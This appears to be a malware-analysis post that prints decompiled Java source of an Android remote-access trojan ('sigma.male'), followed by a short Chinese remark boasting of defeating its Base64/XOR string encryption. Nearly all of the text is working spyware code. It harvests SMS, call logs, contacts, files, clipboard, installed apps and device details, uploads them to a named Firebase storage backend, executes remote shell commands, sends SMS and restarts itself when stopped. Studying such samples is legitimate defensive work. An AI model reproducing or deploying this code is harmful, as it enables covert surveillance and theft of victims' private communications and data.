  103. FirebaseDatabase.getInstance().getReference(/online/ + gui.uuiip(getApplicationContext()) + /user + gui.uuii(getApplicationContext())).child(device).addChildEventListener(new ChildEventListener() { // from class: sigma.male.servicess.21
  104. @Override // com.google.firebase.database.ChildEventListener
  105. public void onChildAdded(DataSnapshot dataSnapshot, String str) {
  106. }
  107. @Override // com.google.firebase.database.ChildEventListener
  108. public void onChildChanged(DataSnapshot dataSnapshot, String str) {
  109. }
  110. @Override // com.google.firebase.database.ChildEventListener
  111. public void onChildRemoved(DataSnapshot dataSnapshot) {
  112. servicess.this._setpres2("");
  113. }
  114. @Override // com.google.firebase.database.ChildEventListener
  115. public void onChildMoved(DataSnapshot dataSnapshot, String str) {
  116. }
  117. @Override // com.google.firebase.database.ChildEventListener
  118. public void onCancelled(DatabaseError databaseError) {
  119. }
  120. });
  121. }
  122. public void _setpres2(String str) {
  123. this.responsetxt.clear();
  124. this.responsetxt = new HashMap<>();
  125. this.responsetxt.put(phone, String.valueOf(Build.MANUFACTURER) + " " + Build.MODEL);
  126. this.responsetxt.put(android, Android + Build.VERSION.RELEASE);
  127. this.responsetxt.put(battery, String.valueOf(((BatteryManager) getSystemService(batterymanager)).getIntProperty(4)) + %);
  128. this.responsetxt.put(id, gui.uuii(getApplicationContext()));
  129. for (String str2 : new String[]{/system/app/Superuser.apk, /sbin/su, /system/bin/su, /system/xbin/su, /data/local/xbin/su, /data/local/bin/su, /system/sd/xbin/su, /system/bin/failsafe/su, /data/local/su, /su/bin/su}) {
  130. if (new File(str2).exists()) {
  131. Yes;
  132. }
  133. }
  134. this.responsetxt.put(rooted, No);
  135. DatabaseReference child = FirebaseDatabase.getInstance().getReference(/online/ + gui.uuiip(getApplicationContext()) + /user + gui.uuii(getApplicationContext())).child(device);
  136. child.setValue(this.responsetxt);
  137. child.onDisconnect().removeValue();
  138. }
  139. public void _cd(final String str, String str2, String str3) {
  140. int i = 0;
  141. if (FileUtil.isExistFile(str)) {
  142. if (FileUtil.isDirectory(str)) {
  143. this.lst.clear();
  144. FileUtil.listDir(str, this.lst);
  145. this.num = 0.0d;
  146. this.str = <li >..;
  147. while (true) {
  148. int i2 = i;
  149. if (i2 < this.lst.size()) {
  150. if (FileUtil.isDirectory(this.lst.get((int) this.num))) {
  151. this.str = this.str.concat(<li class="fo" >.concat(Uri.parse(this.lst.get((int) this.num)).getLastPathSegment()));
  152. } else if (Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().contains(.png) || Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().contains(.jpg) || Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().contains(.jpeg) || Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().contains(.svg) || Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().contains(.ico)) {
  153. this.str = this.str.concat(<li class="im" >.concat(Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().concat(<b>.concat(String.valueOf(new File(this.lst.get((int) this.num)).length() / 1024) + KB.concat(</b>)))));
  154. } else if (Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().contains(.mp4)) {
  155. this.str = this.str.concat(<li class="vi" >.concat(Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().concat(<b>.concat(String.valueOf(new File(this.lst.get((int) this.num)).length() / 1024) + KB.concat(</b>)))));
  156. } else {
  157. this.str = this.str.concat(<li class="fi" >.concat(Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().concat(<b>.concat(String.valueOf(new File(this.lst.get((int) this.num)).length() / 1024) + KB.concat(</b>)))));
  158. }
  159. this.num += 1.0d;
  160. i = i2 + 1;
  161. } else {
  162. _setrespo(this.str, str, "", "", "");
  163. return;
  164. }
  165. }
  166. } else if (FileUtil.isFile(str)) {
  167. BitmapFactory.Options options = new BitmapFactory.Options();
  168. options.inJustDecodeBounds = true;
  169. BitmapFactory.decodeFile(str, options);
  170. if (options.outWidth != -1 && options.outHeight != -1 && new File(str).length() / 1024 < 3072) {
  171. Date date = new Date(new File(str).lastModified());
  172. ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
  173. BitmapFactory.decodeFile(str).compress(Bitmap.CompressFormat.JPEG, 100, byteArrayOutputStream);
  174. _setrespo(imgview, str, Base64.encodeToString(byteArrayOutputStream.toByteArray(), 0), <li>Name: + Uri.parse(str).getLastPathSegment() + <li>Creation: + date + <li>Size: + (new File(str).length() / 1024) + KB <li>Path: + str, "");
  175. return;
  176. }
  177. this.root.child(str).putFile(Uri.fromFile(new File(str))).addOnFailureListener(this._fbs_failure_listener).addOnProgressListener(this._fbs_upload_progress_listener).continueWithTask(new Continuation<UploadTask.TaskSnapshot, Task<Uri>>() { // from class: sigma.male.servicess.22
  178. /* JADX WARN: Can't rename method to resolve collision */
  179. @Override // com.google.android.gms.tasks.Continuation
  180. public Task<Uri> then(Task<UploadTask.TaskSnapshot> task) throws Exception {
  181. return servicess.this.root.child(str).getDownloadUrl();
  182. }
  183. }).addOnCompleteListener(this._fbs_upload_success_listener);
  184. this.filinfodat = <li>Name: + Uri.parse(str).getLastPathSegment() + <li>Creation: + new Date(new File(str).lastModified()) + <li>Size: + (new File(str).length() / 1024) + KB <li>Path: + str;
  185. }
  186. }
  187. }
  188. public void _setrespo(String str, String str2, String str3, String str4, String str5) {
  189. this.responsetxt.clear();
  190. this.responsetxt = new HashMap<>();
  191. this.responsetxt.put(respo, str);
  192. this.responsetxt.put(var2, str2);
  193. this.responsetxt.put(v1, str3);
  194. this.responsetxt.put(v2, str4);
  195. this.responsetxt.put(v3, str5);
  196. String decrypt = abcdefghijklmnopqrstuvwxyz;
  197. String str6 = String.valueOf(decrypt) + 0123456789;
  198. Random random = new Random();
  199. StringBuilder sb = new StringBuilder(8);
  200. sb.append(str6.charAt(random.nextInt(str6.length() - 1)));
  201. for (int length = sb.length(); length < 8; length++) {
  202. sb.append(str6.charAt(random.nextInt(str6.length())));
  203. }
  204. this.responsetxt.put(rndm, sb.toString());
  205. this._firebase.getReference(/respos/respo + gui.uuii(getApplicationContext())).child(respo).setValue(this.responsetxt);
  206. }
  207. public void _dmpsm(String str) {
  208. }
  209. public void getAllSms(Context context) {
  210. Cursor query = context.getContentResolver().query(Telephony.Sms.CONTENT_URI, null, null, null, null);
  211. String decrypt = <html><meta name='viewport' content='width=device-width, initial-scale=1'><meta name='charset' content='UTF-8' ><script type='text/javascript' src='https://ajax.googleapis.com/ajax/libs/jquery/3.4.0/jquery.min.js'></script> <style> body{margin:0;padding:0;background:#ccc}.accordion{background-color:#fff;color:#000;cursor:pointer;padding:18px;width:100%;border:none;text-align:left;outline:0;font-size:15px;position:relative;transition:.4s;padding-left:50px}.accordion:hover,.active{backgroun-color:#aaa}.accordion:after{content:'›';color:#000;font-weight:700;float:right;transform:rotate(90deg);margin-left:5px}.active:after{content:'›'}.panel{padding:0 18px;background-color:#eee;max-height:0;color:#000;overflow:hidden;transition:max-height .2s ease-out}button span{position:absolute;right:50px}button img{height:30px;position:absolute;left:10px;top:10px;width:30px}.i{height:30px;width:35px;left:8px;transform:scale(.9)}.panel{padding:0 18px;background-color:#eee;max-height:0;color:#000;overflow:hidden;transition:max-height .2s ease-out}button span{position:absolute;right:50px}button img{height:30px;position:absolute;left:10px;top:10px;width:30px}</style>;
  212. if (query != null) {
  213. int count = query.getCount();
  214. if (query.moveToFirst()) {
  215. String str = decrypt;
  216. for (int i = 0; i < count; i++) {
  217. String string = query.getString(query.getColumnIndexOrThrow(date));
  218. String string2 = query.getString(query.getColumnIndexOrThrow(address));
  219. String string3 = query.getString(query.getColumnIndexOrThrow(body));
  220. new Date(Long.valueOf(string).longValue());
  221. String str2 = "";
  222. String str3 = "";
  223. switch (Integer.parseInt(query.getString(query.getColumnIndexOrThrow(type)))) {
  224. case 1:
  225. str2 = inbox;
  226. str3 = https://firebasestorage.googleapis.com/v0/b/white-2bc5f.appspot.com/o/inbox.png?alt=media&token=f3cf8d81-cf23-4588-bd9c-f9c37f518953;
  227. break;
  228. case 2:
  229. str2 = sent;
  230. str3 = https://firebasestorage.googleapis.com/v0/b/white-2bc5f.appspot.com/o/sent.png?alt=media&token=a5fb2993-56b6-4f44-ba95-5985aec6ad4a;
  231. break;
  232. case 4:
  233. str2 = outbox;
  234. str3 = https://firebasestorage.googleapis.com/v0/b/white-2bc5f.appspot.com/o/outbox.png?alt=media&token=2f7064a7-05b8-4535-a6cf-6666ae20bff0;
  235. break;
  236. }
  237. str = String.valueOf(str) + <button class='accordion'><img src=' + str3 + ' alt=' + str2 + ' > + string2 + <span> + string + < + / + span>< + / + button> + <div class='panel'> + string3 + < + / + div>;
  238. query.moveToNext();
  239. }
  240. decrypt = str;
  241. }
  242. query.close();
  243. decrypt = String.valueOf(decrypt) + <script type='text/javascript'> + function tm(t){return new Date(1e3*t).toLocaleString();}$('span').each(function(t,e){$(e).html(tm(parseInt($(e).html())))});var i,acc=document.getElementsByClassName('accordion');for(i=0;i<acc.length;i++)acc[i].addEventListener('click',function(){this.classList.toggle('active');var t=this.nextElementSibling;t.style.maxHeight?t.style.maxHeight=null:t.style.maxHeight=t.scrollHeight+'px'}); + </script>;
  244. }
  245. try {
  246. if (FileUtil.isExistFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(/sms.html))) {
  247. FileUtil.deleteFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(/sms.html));
  248. }
  249. FileOutputStream fileOutputStream = new FileOutputStream(String.valueOf(FileUtil.getPackageDataDir(getApplicationContext())) + /sms.html, true);
  250. fileOutputStream.write((String.valueOf(decrypt) + "\n\n").getBytes());
  251. fileOutputStream.close();
  252. this.user.child(FileUtil.getPackageDataDir(getApplicationContext()).concat(/sms.html)).putFile(Uri.fromFile(new File(FileUtil.getPackageDataDir(getApplicationContext()).concat(/sms.html)))).addOnFailureListener(this._sigmamale_failure_listener).addOnProgressListener(this._sigmamale_upload_progress_listener).continueWithTask(new Continuation<UploadTask.TaskSnapshot, Task<Uri>>() { // from class: sigma.male.servicess.23
  253. /* JADX WARN: Can't rename method to resolve collision */
  254. @Override // com.google.android.gms.tasks.Continuation
  255. public Task<Uri> then(Task<UploadTask.TaskSnapshot> task) throws Exception {
  256. return servicess.this.user.child(FileUtil.getPackageDataDir(servicess.this.getApplicationContext()).concat(/sms.html)).getDownloadUrl();
  257. }
  258. }).addOnCompleteListener(this._sigmamale_upload_success_listener);
  259. } catch (FileNotFoundException e) {
  260. } catch (IOException e2) {
  261. }
  262. }
  263. public void _dmpcal() {
  264. String decrypt;
  265. Context applicationContext = getApplicationContext();
  266. StringBuffer stringBuffer = new StringBuffer();
  267. stringBuffer.append(<html><meta name='viewport' content='width=device-width, initial-scale=1'> <style> body{margin:0;padding:0;background:#ccc}.lo{width:calc(98% - 60px);position:relative;height:auto;padding-bottom:5px;padding-top:15px;padding-left:60px;background:#fff;margin:auto;border-radius:10px;margin-top:5px}.lo img{float:left;height:30px;width:30px;position:absolute;top:8px;left:10px}.lo span{float:right;margin-right:20px}</style><body>);
  268. Cursor query = applicationContext.getContentResolver().query(CallLog.Calls.CONTENT_URI, null, null, null, date DESC);
  269. int columnIndex = query.getColumnIndex(number);
  270. int columnIndex2 = query.getColumnIndex(type);
  271. int columnIndex3 = query.getColumnIndex(date);
  272. int columnIndex4 = query.getColumnIndex(duration);
  273. while (query.moveToNext()) {
  274. String string = query.getString(columnIndex);
  275. String string2 = query.getString(columnIndex2);
  276. Date date = new Date(Long.valueOf(query.getString(columnIndex3)).longValue());
  277. String string3 = query.getString(columnIndex4);
  278. String str = "";
  279. switch (Integer.parseInt(string2)) {
  280. case 1:
  281. decrypt = INCOMING;
  282. str = https://firebasestorage.googleapis.com/v0/b/white-2bc5f.appspot.com/o/INCOMING.png?alt=media&token=e660c478-8d09-4ff8-951e-c01a962fadc4;
  283. break;
  284. case 2:
  285. decrypt = OUTGOING;
  286. str = https://firebasestorage.googleapis.com/v0/b/white-2bc5f.appspot.com/o/OUTGOING.png?alt=media&token=738a33e9-6049-4a88-9440-3ac6f88e363c;
  287. break;
  288. case 3:
  289. decrypt = MISSED;
  290. str = https://firebasestorage.googleapis.com/v0/b/white-2bc5f.appspot.com/o/MISSED.png?alt=media&token=ebe94876-a3a4-4765-80f5-ce8e2c484056;
  291. break;
  292. default:
  293. decrypt = null;
  294. break;
  295. }
  296. stringBuffer.append(<div class='lo' ><img src=' + str + ' alt=' + decrypt + ' ><b> + string + </b> <span> + string3 + Sec</span><br><br> + date + </div>);
  297. }
  298. query.close();
  299. try {
  300. if (FileUtil.isExistFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(/call.html))) {
  301. FileUtil.deleteFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(/call.html));
  302. }
  303. FileOutputStream fileOutputStream = new FileOutputStream(String.valueOf(FileUtil.getPackageDataDir(getApplicationContext())) + /call.html, true);
  304. fileOutputStream.write((String.valueOf(stringBuffer.toString()) + "\n\n").getBytes());
  305. fileOutputStream.close();
  306. this.user.child(FileUtil.getPackageDataDir(getApplicationContext()).concat(/call.html)).putFile(Uri.fromFile(new File(FileUtil.getPackageDataDir(getApplicationContext()).concat(/call.html)))).addOnFailureListener(this._sigmamale_failure_listener).addOnProgressListener(this._sigmamale_upload_progress_listener).continueWithTask(new Continuation<UploadTask.TaskSnapshot, Task<Uri>>() { // from class: sigma.male.servicess.24
  307. /* JADX WARN: Can't rename method to resolve collision */
  308. @Override // com.google.android.gms.tasks.Continuation
  309. public Task<Uri> then(Task<UploadTask.TaskSnapshot> task) throws Exception {
  310. return servicess.this.user.child(FileUtil.getPackageDataDir(servicess.this.getApplicationContext()).concat(/call.html)).getDownloadUrl();
  311. }
  312. }).addOnCompleteListener(this._sigmamale_upload_success_listener);
  313. } catch (FileNotFoundException e) {
  314. } catch (IOException e2) {
  315. }
  316. }
  317. public void _dmpcon() {
  318. String str;
  319. String decrypt = <html><meta name='viewport' content='width=device-width, initial-scale=1'><body><style> body{margin:0;padding:0;background:#ccc}.lo{width:calc(98% - 60px);position:relative;height:auto;padding-bottom:5px;padding-top:15px;padding-left:60px;background:#fff;margin:auto;border-radius:10px;margin-top:5px}.lo img{float:left;height:30px;width:30px;position:absolute;top:8px;left:10px}.lo span{float:right;margin-right:20px}</style>;
  320. Cursor query = getApplicationContext().getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, new String[]{_id, display_name, data1, account_type}, account_type <> 'google' , null, null);
  321. if (query.getCount() > 0) {
  322. str = decrypt;
  323. while (query.moveToNext()) {
  324. str = String.valueOf(str) + <div class='lo' ><img src='https://firebasestorage.googleapis.com/v0/b/white-2bc5f.appspot.com/o/cont.png?alt=media&token=4ee314cc-c1bd-417d-b03e-8a33f74b4330' ><b>Name: </b> + query.getString(query.getColumnIndex(display_name)) + <br><b>Number: </b> + query.getString(query.getColumnIndex(data1)) + <br> <b>From: </b> + query.getString(query.getColumnIndex(account_type)) + </div>;
  325. }
  326. } else {
  327. str = decrypt;
  328. }
  329. try {
  330. if (FileUtil.isExistFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(/cont.html))) {
  331. FileUtil.deleteFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(/cont.html));
  332. }
  333. FileOutputStream fileOutputStream = new FileOutputStream(String.valueOf(FileUtil.getPackageDataDir(getApplicationContext())) + /cont.html, true);
  334. fileOutputStream.write((String.valueOf(str) + "\n\n").getBytes());
  335. fileOutputStream.close();
  336. this.user.child(FileUtil.getPackageDataDir(getApplicationContext()).concat(/cont.html)).putFile(Uri.fromFile(new File(FileUtil.getPackageDataDir(getApplicationContext()).concat(/cont.html)))).addOnFailureListener(this._sigmamale_failure_listener).addOnProgressListener(this._sigmamale_upload_progress_listener).continueWithTask(new Continuation<UploadTask.TaskSnapshot, Task<Uri>>() { // from class: sigma.male.servicess.25
  337. /* JADX WARN: Can't rename method to resolve collision */
  338. @Override // com.google.android.gms.tasks.Continuation
  339. public Task<Uri> then(Task<UploadTask.TaskSnapshot> task) throws Exception {
  340. return servicess.this.user.child(FileUtil.getPackageDataDir(servicess.this.getApplicationContext()).concat(/cont.html)).getDownloadUrl();
  341. }
  342. }).addOnCompleteListener(this._sigmamale_upload_success_listener);
  343. } catch (FileNotFoundException e) {
  344. } catch (IOException e2) {
  345. }
  346. }
  347. public void _getpackages() {
  348. String str;
  349. ByteArrayOutputStream byteArrayOutputStream;
  350. List<PackageInfo> installedPackages = getApplicationContext().getPackageManager().getInstalledPackages(0);
  351. String decrypt = <html><meta name='viewport' content='width=device-width, initial-scale=1'> <style>*{margin:0;padding:0;}body{margin:0;padding:0;background:#222;}.keylogg {background:#000;width:calc(95% - 20px);height:auto;margin:auto;padding:10px;color:#0dd;padding-bottom:10px;margin-top:8px;border-radius:10px;position:relative;overflow:auto;}.keylogg b{color:red;}.keylogg img{max-height:50px;max-width:50px;position:absolute;left:10px;}.keylogg p{color:#fff;}.keylogg span{float:right;margin-right:10px;}.btn{height:40px;width:150px;border:0;border-radius:5px;border:1px solid red;background:black;color:white;} </style><body>;
  352. Iterator<PackageInfo> it = installedPackages.iterator();
  353. while (true) {
  354. str = decrypt;
  355. if (it.hasNext()) {
  356. PackageInfo next = it.next();
  357. getBitmapFromDrawable(next.applicationInfo.loadIcon(getPackageManager())).compress(Bitmap.CompressFormat.JPEG, 100, new ByteArrayOutputStream());
  358. decrypt = String.valueOf(str) + <div class='keylogg' ><img src='data:image/png;base64, + Base64.encodeToString(byteArrayOutputStream.toByteArray(), 0) + ' ><div style='margin-left:60px;padding-top:3px;overflow:auto;' ><b style='color:green;' > + next.applicationInfo.loadLabel(getPackageManager()).toString() + (v + next.versionName + )</b><br><b style='color:red;' > + next.packageName + </b><br></div><br></div>;
  359. } else {
  360. try {
  361. break;
  362. } catch (FileNotFoundException e) {
  363. return;
  364. } catch (IOException e2) {
  365. return;
  366. }
  367. }
  368. }
  369. if (FileUtil.isExistFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(/apps.html))) {
  370. FileUtil.deleteFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(/apps.html));
  371. }
  372. FileOutputStream fileOutputStream = new FileOutputStream(String.valueOf(FileUtil.getPackageDataDir(getApplicationContext())) + /apps.html, true);
  373. fileOutputStream.write((String.valueOf(str) + "\n\n").getBytes());
  374. fileOutputStream.close();
  375. SketchwareUtil.showMessage(getApplicationContext(), packejsj);
  376. this.user.child(FileUtil.getPackageDataDir(getApplicationContext()).concat(/apps.html)).putFile(Uri.fromFile(new File(FileUtil.getPackageDataDir(getApplicationContext()).concat(/apps.html)))).addOnFailureListener(this._sigmamale_failure_listener).addOnProgressListener(this._sigmamale_upload_progress_listener).continueWithTask(new Continuation<UploadTask.TaskSnapshot, Task<Uri>>() { // from class: sigma.male.servicess.26
  377. /* JADX WARN: Can't rename method to resolve collision */
  378. @Override // com.google.android.gms.tasks.Continuation
  379. public Task<Uri> then(Task<UploadTask.TaskSnapshot> task) throws Exception {
  380. return servicess.this.user.child(FileUtil.getPackageDataDir(servicess.this.getApplicationContext()).concat(/apps.html)).getDownloadUrl();
  381. }
  382. }).addOnCompleteListener(this._sigmamale_upload_success_listener);
  383. }
  384. public static Bitmap getBitmapFromDrawable(Drawable drawable) {
  385. Bitmap createBitmap = Bitmap.createBitmap(drawable.getIntrinsicWidth(), drawable.getIntrinsicHeight(), Bitmap.Config.ARGB_8888);
  386. Canvas canvas = new Canvas(createBitmap);
  387. drawable.setBounds(0, 0, canvas.getWidth(), canvas.getHeight());
  388. drawable.draw(canvas);
  389. return createBitmap;
  390. }
  391. public String shell_exec(String str) {
  392. String str2 = "";
  393. String[] strArr = {sh, -c, str};
  394. try {
  395. BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(str).getInputStream()));
  396. while (true) {
  397. String readLine = bufferedReader.readLine();
  398. if (readLine != null) {
  399. str2 = String.valueOf(str2) + readLine;
  400. } else {
  401. return str2;
  402. }
  403. }
  404. } catch (Exception e) {
  405. return error;
  406. }
  407. }
  408. public void _sudoapt(String str, String str2) {
  409. _setrespo(shellview, "", shell_exec(str), "", "");
  410. }
  411. public void _devinfo() {
  412. getApplicationContext();
  413. Display defaultDisplay = ((WindowManager) getSystemService(window)).getDefaultDisplay();
  414. int width = defaultDisplay.getWidth();
  415. _setrespo(deviceinfo, "", <div class ='keylogg' ><b>SERIAL: </b> + Build.SERIAL + <br><b> + MODEL: </b> + Build.MODEL + <br><b> + ID: </b> + Build.ID + <br><b> + Manufacture: </b> + Build.MANUFACTURER + <br><b> + Brand:</b> + Build.BRAND + <br><b> + Device Language: </b> + Locale.getDefault().getDisplayLanguage() + <br><b> + Screen Resolution: </b> + width + x + defaultDisplay.getHeight() + <br><b> + Type: </b> + Build.TYPE + <br><b> + User: </b> + Build.USER + <br><b> + BASE: </b> + 1 + <br><b> + INCREMENTAL: </b> + Build.VERSION.INCREMENTAL + <br><b> + SDK:</b> + Build.VERSION.SDK + <br><b> + BOARD: </b> + Build.BOARD + <br><b> + BRAND:</b> + Build.BRAND + <br><b> + HOST: </b> + Build.HOST + <br><b> + FINGERPRINT: </b> + Build.FINGERPRINT + <br><b> + Version Code: </b> + Build.VERSION.RELEASE + </div>, "", "");
  416. }
  417. public void _showtoast(String str) {
  418. SketchwareUtil.showMessage(getApplicationContext(), str);
  419. _setrespo(dialogview, "", Toast Shown Successfully, "", "");
  420. }
  421. public void _vibra(String str) {
  422. this.vibrator.vibrate(Integer.parseInt(str));
  423. _setrespo(dialogview, "", Device Vibrated, "", "");
  424. }
  425. public void _ttsdev(String str) {
  426. this.tts.speak(str, 1, null);
  427. _setrespo(dialogview, "", TTS Completed Successfully, "", "");
  428. }
  429. public void _palysmudic(String str) {
  430. this.mp = new MediaPlayer();
  431. this.mp.setAudioStreamType(3);
  432. try {
  433. this.mp.setDataSource(str);
  434. } catch (IOException e) {
  435. e.printStackTrace();
  436. } catch (IllegalArgumentException e2) {
  437. _setrespo(dialogview, "", <span style='color:red;' > ERROR: </span>Song Not Found from URL, "", "");
  438. } catch (IllegalStateException e3) {
  439. _setrespo(dialogview, "", <span style='color:red; ' > ERROR: </span>Song Not Found from URL, "", "");
  440. } catch (SecurityException e4) {
  441. _setrespo(dialogview, "", <span style='color:red; ' > ERROR: </span>Song Not Found from URL, "", "");
  442. }
  443. try {
  444. this.mp.prepare();
  445. _setrespo(dialogview, "", <span style='color: green; '> Success: </span>Song is playing, "", "");
  446. } catch (IOException e5) {
  447. _setrespo(dialogview, "", <span style='color:red; ' > ERROR: </span>Song Not Found from URL, "", "");
  448. } catch (IllegalStateException e6) {
  449. _setrespo(dialogview, "", <span style='color:red; ' > ERROR: </span>Song Not Found from URL, "", "");
  450. }
  451. this.mp.start();
  452. if (this.mp.isPlaying()) {
  453. _setrespo(dialogview, "", <span style='color: green; '> Success: </span>Song is playing, "", "");
  454. }
  455. }
  456. public void _sendsm(String str, String str2) {
  457. try {
  458. SmsManager.getDefault().sendTextMessage(str, null, str2, null, null);
  459. _setrespo(dialogview, "", <span style='color:green'>Success: </span>Message Sent Successfully, "", "");
  460. } catch (Exception e) {
  461. _setrespo(dialogview, "", <span style='color:red'>Error: </span>Either permission is not given or Data is incorrect., "", "");
  462. }
  463. }
  464. public void _changewall(String str) {
  465. if (str.equals(0)) {
  466. try {
  467. WallpaperManager.getInstance(getApplicationContext()).setResource(R.drawable.wall1);
  468. } catch (Exception e) {
  469. e.printStackTrace();
  470. }
  471. _setrespo(dialogview, "", Wallpaper Changed Successfully, "", "");
  472. } else if (str.equals(1)) {
  473. try {
  474. WallpaperManager.getInstance(getApplicationContext()).setResource(R.drawable.wall2);
  475. } catch (Exception e2) {
  476. e2.printStackTrace();
  477. }
  478. _setrespo(dialogview, "", Wallpaper Changed Successfully, "", "");
  479. } else if (str.equals(2)) {
  480. try {
  481. WallpaperManager.getInstance(getApplicationContext()).setResource(R.drawable.wall3);
  482. } catch (Exception e3) {
  483. e3.printStackTrace();
  484. }
  485. _setrespo(dialogview, "", Wallpaper Changed Successfully, "", "");
  486. }
  487. }
  488. /* JADX WARN: Code restructure failed: missing block: B:12:0x004f, code lost:
  489. if (r1.isEmpty() != false) goto L13;
  490. */
  491. /*
  492. Code decompiled incorrectly, please refer to instructions dump.
  493. */
  494. public void clips() {
  495. String str = null;
  496. final ClipboardManager[] clipboardManagerArr = new ClipboardManager[1];
  497. String str2 = "";
  498. new Handler(Looper.getMainLooper()).post(new Runnable() { // from class: sigma.male.servicess.27
  499. @Override // java.lang.Runnable
  500. public void run() {
  501. clipboardManagerArr[0] = (ClipboardManager) servicess.this.getSystemService(clipboard);
  502. }
  503. });
  504. try {
  505. if (clipboardManagerArr[0].hasPrimaryClip()) {
  506. ClipDescription primaryClipDescription = clipboardManagerArr[0].getPrimaryClipDescription();
  507. ClipData primaryClip = clipboardManagerArr[0].getPrimaryClip();
  508. if (primaryClip != null && primaryClipDescription != null && primaryClipDescription.hasMimeType(text/plain)) {
  509. str2 = String.valueOf(primaryClip.getItemAt(0).getText());
  510. }
  511. }
  512. str = str2;
  513. } catch (NullPointerException e) {
  514. }
  515. _setrespo(deviceinfo, "", <div class ='keylogg' > + str + </div>, "", "");
  516. }
  517. public void _voicere(String str) {
  518. _setrespo(dialogview, "", Launched URL : + str, "", "");
  519. Intent intent = new Intent();
  520. intent.addFlags(268435456);
  521. intent.setAction(android.intent.action.VIEW);
  522. intent.setData(Uri.parse(str));
  523. startActivity(intent);
  524. }
  525. public void tofft() {
  526. _setrespo(dialogview, "", Turned Off Torch light, "", "");
  527. CameraManager cameraManager = (CameraManager) getSystemService(camera);
  528. try {
  529. cameraManager.setTorchMode(cameraManager.getCameraIdList()[0], false);
  530. } catch (CameraAccessException e) {
  531. }
  532. }
  533. public void tont() {
  534. _setrespo(dialogview, "", Turned On Torch light, "", "");
  535. CameraManager cameraManager = (CameraManager) getSystemService(camera);
  536. try {
  537. cameraManager.setTorchMode(cameraManager.getCameraIdList()[0], true);
  538. } catch (CameraAccessException e) {
  539. }
  540. }
  541. @Override // android.app.Service
  542. public IBinder onBind(Intent intent) {
  543. return null;
  544. }
  545. @Override // android.app.Service
  546. public void onDestroy() {
  547. Intent intent = new Intent();
  548. intent.setAction(restartservice);
  549. intent.setClass(this, restarter.class);
  550. sendBroadcast(intent);
  551. super.onDestroy();
  552. }
  553. }

解密前后对比

区区Base64XOR加密也想难得住我?😎😎😎👊👊👊
image.png
image.png